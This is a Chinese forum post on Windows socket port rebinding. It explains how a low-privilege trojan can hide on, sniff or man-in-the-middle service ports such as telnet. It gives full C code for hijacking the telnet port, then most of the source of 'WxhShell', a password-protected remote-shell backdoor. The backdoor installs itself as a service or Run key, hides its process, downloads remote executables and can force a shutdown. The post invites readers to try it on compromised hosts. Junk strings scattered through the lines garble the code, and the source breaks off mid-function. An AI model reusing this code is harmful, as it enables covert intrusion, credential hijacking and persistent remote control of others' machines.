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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l=PZlH y1G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \k 6'[ln  
`nrw[M?  
  saddr.sin_family = AF_INET; (L<q Jd1Q  
dt||nF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZA+w7S3  
Xti.yQx\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rU9z? (  
["^? vhv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $uUR@l  
%jJ|4\  
  这意味着什么?意味着可以进行如下的攻击: $a'}7Q_  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Dbu>rESz  
]?%S0DO*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g{^~g  
+Ly@5y"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 19b@QgfWpb  
es^@C9qt  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  74r$)\q  
FrC)2wX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P W_"JZ  
`gAW5 i-z5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z`<5SHQd  
bH.SUd)  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 UZpQ%~/  
3 <)+)n  
  #include ^Na3VP  
  #include R-YNg  
  #include A<_{7F9  
  #include    <?>tjCg'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !oa/\p  
  int main() Rt>mAU$}  
  { 5=#2@qp  
  WORD wVersionRequested; $5:I~ -mx  
  DWORD ret; FsLd&$?T&  
  WSADATA wsaData; GL%)s?   
  BOOL val; h S)lQl:^  
  SOCKADDR_IN saddr; 2]]}Xvx4#  
  SOCKADDR_IN scaddr; h~lps?.#b  
  int err; ot0g@q[3  
  SOCKET s; 5PsjGvm.%  
  SOCKET sc; Ya4yW9*  
  int caddsize; l >~Rzw  
  HANDLE mt; =o4gW`\z  
  DWORD tid;   \%&):OD1  
  wVersionRequested = MAKEWORD( 2, 2 ); D"gv:RojD  
  err = WSAStartup( wVersionRequested, &wsaData ); C8W_f( i~  
  if ( err != 0 ) { xXlx}C  
  printf("error!WSAStartup failed!\n"); `S+n,,l  
  return -1; 1 -$+@Xl  
  } y+p"5s"  
  saddr.sin_family = AF_INET; : { iK 5  
   zZ,"HY=jN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ++n_$Qug  
xR8y"CpE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~ mzX1[  
  saddr.sin_port = htons(23); =h xyR;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #jJ0Mxg  
  { _6!iv  
  printf("error!socket failed!\n"); lid0 YK-  
  return -1; *j( UAVp  
  } b;FaTm@  
  val = TRUE; }@"v7X $  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 v"o_V|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `=S%!akj  
  { x2TE[#><  
  printf("error!setsockopt failed!\n"); |8tKN"QG  
  return -1; =YIosmr  
  } YYL3a=;`a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E 6+ ooB[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P%ThW9^vnj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >;lrH&  
-24ccN;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M3Qi]jO98  
  { I@5$<SN  
  ret=GetLastError(); YC$>D? FW  
  printf("error!bind failed!\n"); K4 -_a{)/  
  return -1; 0"Euf41  
  } cc3/XBo  
  listen(s,2); w/:ibG@  
  while(1) T(,@]=d,DD  
  { V>`9ey!U  
  caddsize = sizeof(scaddr); fda4M  
  //接受连接请求 ii&ckg>]z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4]FS jVO  
  if(sc!=INVALID_SOCKET) !Na@T]J  
  { 6v74mIRn'?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]TJ258P}  
  if(mt==NULL) 1;PI%++  
  { 97 ,Yq3  
  printf("Thread Creat Failed!\n"); u1gD*4+  
  break; Nf)SR#;  
  } =dwy 4  
  } "&{.g1i9  
  CloseHandle(mt); 5(GVwv  
  } :;c`qO4  
  closesocket(s); gW^4@q  
  WSACleanup(); p"7[heExw  
  return 0; HYG1BfEaW  
  }   bc:3 5.  
  DWORD WINAPI ClientThread(LPVOID lpParam) &-w.rF@  
  { ]q"y P 0  
  SOCKET ss = (SOCKET)lpParam; wz{c;v\J^  
  SOCKET sc; *CbV/j"P?  
  unsigned char buf[4096]; _h`4`r  
  SOCKADDR_IN saddr; :Gzp (@<@e  
  long num; f]mVM(XZN  
  DWORD val; ?o`:V|<v  
  DWORD ret; OI8}v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \%9QE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q,Y^9g"B`~  
  saddr.sin_family = AF_INET; E^A!k=>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .|Yn[?(  
  saddr.sin_port = htons(23); +~* e B  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I0><IaFy  
  { ef!f4u\  
  printf("error!socket failed!\n"); tv Zq):c  
  return -1; lon9oraF'  
  } -r]L MQ  
  val = 100; |lk:(~DM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x <OVtAUB  
  { ^w&!}f+  
  ret = GetLastError(); X4!Jj *  
  return -1; ` @lNt}  
  } :6Tv4ZUvcG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &;`E3$>  
  { u.*}'C>^^v  
  ret = GetLastError(); h(GSM'v  
  return -1; ,b5vnW\  
  } 6'x3g2C/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g3yZi7b5FU  
  { Gm3`/!r  
  printf("error!socket connect failed!\n"); B#}EYY  
  closesocket(sc); mxu!$wx  
  closesocket(ss); uHRxV"@}[1  
  return -1; "c?31$6  
  } xn@oNKD0  
  while(1) g>#}(u!PH  
  { | +uc;[`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 th<>%e}5c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Oqt{ uTI~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 d(@ ov^e-  
  num = recv(ss,buf,4096,0); f*IvaY  
  if(num>0) 1~},}S]id  
  send(sc,buf,num,0); A_e5Vb ,u.  
  else if(num==0) EcSu[b  
  break; 3xKgj5M  
  num = recv(sc,buf,4096,0); [0]J 2  
  if(num>0) Vg :''!4t2  
  send(ss,buf,num,0); P}>>$$b\Yi  
  else if(num==0) Ab:ah 7!  
  break; o}f$?{)|   
  } ITEf Q@#jU  
  closesocket(ss); =fdW H4  
  closesocket(sc); ?GtI.flV  
  return 0 ; NB86+2stu  
  } Y"^.6  
:Bu)cy#/[  
_meW9)B  
========================================================== :7JP(j2  
Z c#Jb  
下边附上一个代码,,WXhSHELL M _lLP8W}  
WTjmU=<\  
========================================================== vS[\ j  
;Bw3@c  
#include "stdafx.h" ^R)]_   
2$VSH&  
#include <stdio.h> feeHXKD|  
#include <string.h> U!K#g_}  
#include <windows.h> QUfF>,[sv  
#include <winsock2.h> W7@Vma`  
#include <winsvc.h> %`\Qtsape  
#include <urlmon.h> # JY>  
W^S]"N0u  
#pragma comment (lib, "Ws2_32.lib") M'oZK  
#pragma comment (lib, "urlmon.lib") \3%3=:  
V$oj6i{ky  
#define MAX_USER   100 // 最大客户端连接数 Ul'H(eH.v  
#define BUF_SOCK   200 // sock buffer 1mR@Bh  
#define KEY_BUFF   255 // 输入 buffer 52,'8` ]  
6D`.v@  
#define REBOOT     0   // 重启 Y=O-^fL  
#define SHUTDOWN   1   // 关机 1CM 8P3  
)q\6pO@  
#define DEF_PORT   5000 // 监听端口 KoWG:~>|  
#`l&HV   
#define REG_LEN     16   // 注册表键长度 I3izLi  
#define SVC_LEN     80   // NT服务名长度 +"JWsD(C(  
:f7vGO"t  
// 从dll定义API iP:^nt?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _JA)""l%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +_gA"I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gS`Z>+V5!c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G `B=:s]  
cWo__EE  
// wxhshell配置信息 $2blF)uYE  
struct WSCFG { u6IM~kk>5  
  int ws_port;         // 监听端口 Ij XxH]2  
  char ws_passstr[REG_LEN]; // 口令 ,_D@ggL-  
  int ws_autoins;       // 安装标记, 1=yes 0=no )7Qp9Fxo  
  char ws_regname[REG_LEN]; // 注册表键名 /11CC \  
  char ws_svcname[REG_LEN]; // 服务名 q|IU+r:! 3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (?lT @RY/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yJlRW!@&:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R yM2 9uD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IjQgmS~G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FL&Y/5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =^l`c$G<  
hhI*2|i"L  
}; Gl6:2  
]"YXa~b  
// default Wxhshell configuration _F^NX%  
struct WSCFG wscfg={DEF_PORT, : t75iB=  
    "xuhuanlingzhe", aD6!x3c/  
    1, A{T> Aac  
    "Wxhshell", E8<,j})*  
    "Wxhshell", H`Zg-j`  
            "WxhShell Service", Bsd~_y}8  
    "Wrsky Windows CmdShell Service", %.Kr`#lCr  
    "Please Input Your Password: ", 3/(eK%d4Xb  
  1, &_j<! 3*  
  "http://www.wrsky.com/wxhshell.exe", *YX:e@Fm.a  
  "Wxhshell.exe" *A")A.R  
    }; [ :Sl~  
[D<(xr&N%  
// 消息定义模块 r?^L/HGc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }jFRuT;35  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PpNG`_O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^EW6}oj[  
char *msg_ws_ext="\n\rExit."; NqFfz9G)  
char *msg_ws_end="\n\rQuit."; }*aj&  
char *msg_ws_boot="\n\rReboot..."; "d M-3o<  
char *msg_ws_poff="\n\rShutdown..."; |<y1<O>F  
char *msg_ws_down="\n\rSave to "; [(.lfa P  
f'`y-]"V5)  
char *msg_ws_err="\n\rErr!"; Mpk7$=hjc  
char *msg_ws_ok="\n\rOK!"; a"Ly9ovW  
O0bOv S  
char ExeFile[MAX_PATH]; ra_TN ;(  
int nUser = 0; <;jg/  
HANDLE handles[MAX_USER]; 3vQVk  
int OsIsNt; m")p]B&i=  
0Jd>V  
SERVICE_STATUS       serviceStatus; +#A~O4%t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q7UQwAN'  
3hzz*9/n  
// 函数声明 L}A2$@  
int Install(void); nvc(<Ovw  
int Uninstall(void); Ywcgt|  
int DownloadFile(char *sURL, SOCKET wsh); q6%m .X7  
int Boot(int flag); <$#^)]Ts  
void HideProc(void); at2)%V)  
int GetOsVer(void); ?nE9@G5Gc  
int Wxhshell(SOCKET wsl); _(8N*q*w  
void TalkWithClient(void *cs); E>2AG3)  
int CmdShell(SOCKET sock); ?#nk}=;g8  
int StartFromService(void); ~*~aFf5  
int StartWxhshell(LPSTR lpCmdLine); [i> D|X  
Eq8:[o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E(f|LG[I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?[DVYP  
]!/R tt  
// 数据结构和表定义 P86wRq  
SERVICE_TABLE_ENTRY DispatchTable[] = vAOThj)  
{ Wkr31Du\K  
{wscfg.ws_svcname, NTServiceMain}, p6Ia)!xOGF  
{NULL, NULL} BE0Xg  
}; %;Z_`W  
A,7* 52U  
// 自我安装 .hoVy*I  
int Install(void) hVJ}EF 0  
{ ,XN4Iy#BZl  
  char svExeFile[MAX_PATH]; b'ir$RL] c  
  HKEY key; 3u s^\w#  
  strcpy(svExeFile,ExeFile); `dl^)4J  
N&(MM.\`^  
// 如果是win9x系统,修改注册表设为自启动 H6KBXMYO  
if(!OsIsNt) { %.fwNS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5*Dh#FRp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5CH8;sMK  
  RegCloseKey(key); bZj5qjl`x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !QME!c>*$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); li#ep?5h^  
  RegCloseKey(key); %xp 69  
  return 0; U0N6\+  
    } ;:Tb_4Hr  
  } 8\PI1U  
} b/E3Kse?  
else { *h pS/g/3\  
R(f%*S4  
// 如果是NT以上系统,安装为系统服务 ndk~(ex|j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wawJZ+V  
if (schSCManager!=0) lt\Bm<"z!1  
{ 5)->.*G*  
  SC_HANDLE schService = CreateService X8~?uroq  
  ( 3 [O+wVv  
  schSCManager, f/m0,EERk  
  wscfg.ws_svcname, uw@-.N^  
  wscfg.ws_svcdisp, fEGnI\  
  SERVICE_ALL_ACCESS, Tv|i CYB?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {T0Au{88H  
  SERVICE_AUTO_START, lj+&3<E  
  SERVICE_ERROR_NORMAL, 'HL.W](  
  svExeFile, $wl_  
  NULL, )t2eg1a:  
  NULL, c;n\HYk  
  NULL, Lg-!,Y   
  NULL, Q*e\I8R}  
  NULL dkQP.Tj$i  
  ); xlc2,L;i  
  if (schService!=0) O6">Io5  
  { X2YBZA  
  CloseServiceHandle(schService); A3J=,aRI_v  
  CloseServiceHandle(schSCManager); )vY)Mg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  / w[Tu  
  strcat(svExeFile,wscfg.ws_svcname); yEkwdx5!(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^pqJz^PO.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q4g69IE  
  RegCloseKey(key); Y+0GJuBf  
  return 0; bH%d*  
    } L9!\\U  
  } DIkf#}  
  CloseServiceHandle(schSCManager); |>wGl  
} QM7B FS;  
} hK %FpGYA  
tNYuuC%N  
return 1; B!4~A{  
} L}K8cB  
sdN1BV2  
// 自我卸载 &&zsUAkS  
int Uninstall(void) iUZV-jl2/  
{ H6lZ<R{=  
  HKEY key; +.uQToqy  
TrQUhmS/!  
if(!OsIsNt) { '{)Jhl47   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y<l(F?_  
  RegDeleteValue(key,wscfg.ws_regname); cXb&Rm' L  
  RegCloseKey(key); jZiz 0[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yIWgC[  
  RegDeleteValue(key,wscfg.ws_regname); w/9%C(w6  
  RegCloseKey(key); K.b :ae^k  
  return 0; j?\z5i""f  
  } hzA+,  
} <driD'=F  
} Tz&h[+6`  
else { v]}\Ns/  
{=;<1PykLb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  _ Ewkb  
if (schSCManager!=0) &7r a  
{ TK0W=&6#A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OMBH[_  
  if (schService!=0) x }]"jj2x  
  { D J7U6{KLq  
  if(DeleteService(schService)!=0) { s? 2ikJq  
  CloseServiceHandle(schService); :BB=E'293  
  CloseServiceHandle(schSCManager); yl0;Jx?  
  return 0; HI, `O  
  } ryb81.|  
  CloseServiceHandle(schService); #K!"/,d@>J  
  } )^ PWr^  
  CloseServiceHandle(schSCManager); I ^[[*Bh*C  
} $<3^( y  
} ?}(B8^  
N@^:IfJ+=  
return 1; ?. Ip(g  
} %l!- rXp  
vx}BT H  
// 从指定url下载文件 >Sb3]$$  
int DownloadFile(char *sURL, SOCKET wsh) s@ 6Jz\<E  
{ "/%o'Fq  
  HRESULT hr; 2WE01D9O  
char seps[]= "/"; 1*.*\4xo  
char *token; o/& IT(v  
char *file; Lb{.}  
char myURL[MAX_PATH]; *&hbfsP:  
char myFILE[MAX_PATH]; w: mm@8N  
ZKM@U?PK  
strcpy(myURL,sURL); #$}A$sm  
  token=strtok(myURL,seps); 5=8t<v1Bn  
  while(token!=NULL) yR"mRy1  
  { lNTbd"}$:  
    file=token; 5qFHy[I A  
  token=strtok(NULL,seps); ZH~Wn#Wp  
  } DcE4r>8B  
|7${E^u  
GetCurrentDirectory(MAX_PATH,myFILE); #aiI]'  
strcat(myFILE, "\\"); l(\F2_,2W  
strcat(myFILE, file); ?-tNRIPW@p  
  send(wsh,myFILE,strlen(myFILE),0); D  ,[yx='  
send(wsh,"...",3,0); /QQjb4S}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QlS_{XV  
  if(hr==S_OK) s'bTP(wl9  
return 0; ,5AEtoF  
else -aV( 6i*n  
return 1; Q 9E.AN  
&y7xL-xP  
} )JJF}m=  
vin3 i&k  
// 系统电源模块 Eu%E2A|`I  
int Boot(int flag) (6b0rqPF  
{ /U`p|M;  
  HANDLE hToken; }daU/  
  TOKEN_PRIVILEGES tkp; Wfy+9"-;s  
l=x(   
  if(OsIsNt) { /!qP=ngw9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3[8p,wx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OL_jU2,fv  
    tkp.PrivilegeCount = 1; fK2r6D9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wuM'M<J@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {|B[[W\TN  
if(flag==REBOOT) { O0 $V+fE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S#<y_w%  
  return 0; JoZS p"R  
} ;lfv.-u:<  
else { B{p74 >  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zg$ag4%Qgg  
  return 0; #Tt*NU  
} uBxoMxWm  
  } \ FJ ae  
  else { d24_,o\_  
if(flag==REBOOT) { ?'tRu !~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lD-2 5~YV  
  return 0; ^Ai QNL}  
} \L`x![$~q  
else { $\|Q+7lQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?[P>2oz  
  return 0; SpYmgL?wJ  
} FZIC |uz  
} N;k)>  
<lLJf8OK  
return 1; M?GkHJ%!  
} `zB bB^\`W  
/)kx`G_  
// win9x进程隐藏模块 PB!XApTb  
void HideProc(void) :8HVq*itS  
{ {m@tt{%  
;8^(Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u?H.Z  
  if ( hKernel != NULL ) yH>C7M7 t  
  { wNn=JzP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pf%; *  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FCWk8/  
    FreeLibrary(hKernel); pjs4FZ`Pd;  
  } 0s\ -iub=d  
X8-x$07)  
return; ?~(#~3x  
} `S.I,<&  
B2a#:E,6  
// 获取操作系统版本 /Ov1eQBNG  
int GetOsVer(void) R/kJUl6HEl  
{ /lh1sHgD  
  OSVERSIONINFO winfo; WtaOf_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g"(@+\XZH"  
  GetVersionEx(&winfo); =\oL'>q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #dD0vYT&od  
  return 1; ~*9Ue@  
  else hJD3G |E  
  return 0; &flRrJ  
} EU04U  
#TC}paIpj  
// 客户端句柄模块 y)a)VvU":  
int Wxhshell(SOCKET wsl) &U7h9o H  
{ MvnQUZ  
  SOCKET wsh; = ^Vp \  
  struct sockaddr_in client; ^!0z+M:>^  
  DWORD myID;  m l@% H  
V|[NL4  
  while(nUser<MAX_USER) +|7N89l  
{ +!!G0Zj/  
  int nSize=sizeof(client); z[myf] @  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x<' $  
  if(wsh==INVALID_SOCKET) return 1; K=nDC.  
k7;i^$@c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /wl]kGF  
if(handles[nUser]==0) U_ j[<.aN)  
  closesocket(wsh); A*A/30o|R  
else 3vjOfr`  
  nUser++; xUCq%r_  
  } ^8J`*R8CL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6EO@ Xf7,  
nc\2A>f`  
  return 0; 0:<Y@#L  
} +."cbqGP_q  
k_ywwkG9lU  
// 关闭 socket <VutwtA  
void CloseIt(SOCKET wsh) s{8=Q0^  
{ G--(Ef%v'  
closesocket(wsh); 0fn*;f8{XJ  
nUser--; MGxkqy?  
ExitThread(0); OP"_I!t  
} )fxn bBz{  
>cg)Nq D  
// 客户端请求句柄 nk7>iK!i  
void TalkWithClient(void *cs) 9V[}#(f$  
{ 5E1`qof  
-mn/Yv  
  SOCKET wsh=(SOCKET)cs; X!mJUDzh]  
  char pwd[SVC_LEN]; K~I?i/P=z  
  char cmd[KEY_BUFF]; vt^7:! r  
char chr[1]; `]]<.>R  
int i,j; Lo#G. s|  
v9Sk\9}S  
  while (nUser < MAX_USER) { 8q9ATB-^>  
ViMl{3  
if(wscfg.ws_passstr) { &qWB\m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5u;//Cm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 80'@+AD  
  //ZeroMemory(pwd,KEY_BUFF); 8ih_S2Cd  
      i=0; }^$1<GT  
  while(i<SVC_LEN) { `O%nDry  
1"75+Q>D  
  // 设置超时 W=w]`'  
  fd_set FdRead; OKK Ko`RN  
  struct timeval TimeOut; n%#3xo a  
  FD_ZERO(&FdRead); C;K+ITlJ  
  FD_SET(wsh,&FdRead); [fV"tf;  
  TimeOut.tv_sec=8; ]1Wxa?  
  TimeOut.tv_usec=0; JGTsVa2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (=;'>*L(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DuR9L'  
$fT5Vc]B4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -3v\ c~  
  pwd=chr[0]; nKS*y*  
  if(chr[0]==0xd || chr[0]==0xa) { oYTLC@98}  
  pwd=0; V| kN 1 A  
  break; o:W*#dt  
  } LjE3|+pJ  
  i++; >yXhP6  
    } &*ocr&  
'@ Y@Fs  
  // 如果是非法用户,关闭 socket N>"L2E=z$|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zPqJeYK  
} %<a3[TQd`\  
w9VwZow  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S`zu.8%5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y*{zX=]l<  
8tQL$CbO  
while(1) { .\ fpjQW  
>.`*KQdan  
  ZeroMemory(cmd,KEY_BUFF); v+in:\Dv  
3 mAizq3  
      // 自动支持客户端 telnet标准   sBa:|(Y.  
  j=0; d wG!]j>:_  
  while(j<KEY_BUFF) { YSt*uOZK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W-#DEU 7_  
  cmd[j]=chr[0]; wzju)qS  
  if(chr[0]==0xa || chr[0]==0xd) { XF)N_}X^  
  cmd[j]=0;  6d;}mhH  
  break; YCltS!k  
  } d[,Rgdd@I  
  j++; Sv/P:r _  
    } K'J_AMBL  
l+P!I{n  
  // 下载文件 b)KEB9w  
  if(strstr(cmd,"http://")) { `MPR-"Z6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k &J;,)V  
  if(DownloadFile(cmd,wsh)) JfWkg`LqL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); axvZA:l  
  else ph6'(,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G6a 2]  
  } qna!j|90Lp  
  else { )M+po-6$1  
{!wW,3|Pu  
    switch(cmd[0]) { HYGd :SeH  
  &(Fm@ksh\  
  // 帮助 p@f #fs  
  case '?': { }RadbJ{q=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RVwS<g)~1  
    break; :qbU@)p*  
  } $RY-yKmi  
  // 安装 u_' -vZ_  
  case 'i': { t*H2;|zn_  
    if(Install()) 57{T p:|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 77[TqRLf  
    else ;k`51=Wi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *izCXfW7  
    break; Xzg >/w 8J  
    } vkhPE(f  
  // 卸载 Pa Q lQ#  
  case 'r': { 7\98E&  
    if(Uninstall()) }M%3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9MZ)-  
    else mwLf)xt0'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lPxhqF5pP  
    break; [T =>QS@g  
    } ;a1DIUm'  
  // 显示 wxhshell 所在路径 B3&C&o.h  
  case 'p': { K<5yjG8&  
    char svExeFile[MAX_PATH]; OXQA(%MK  
    strcpy(svExeFile,"\n\r"); `dV2\^*A  
      strcat(svExeFile,ExeFile); Ot-P J i  
        send(wsh,svExeFile,strlen(svExeFile),0); {Dl@/fz  
    break; z;oia!9z  
    } TIiYic!_~  
  // 重启 \MRd4vufv  
  case 'b': { ohKoX$|p~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JYw?  
    if(Boot(REBOOT)) _"Ym]y28li  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lG'D/#  
    else { 5|~g2Zz{;  
    closesocket(wsh); qqZ4K:oC,  
    ExitThread(0); k-n`R)p:  
    } e`={_R{N  
    break; *w*K&$g  
    } '9WTz(0?  
  // 关机 "}xIt)n%;  
  case 'd': { q:)PfP+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RN)XIf$@_  
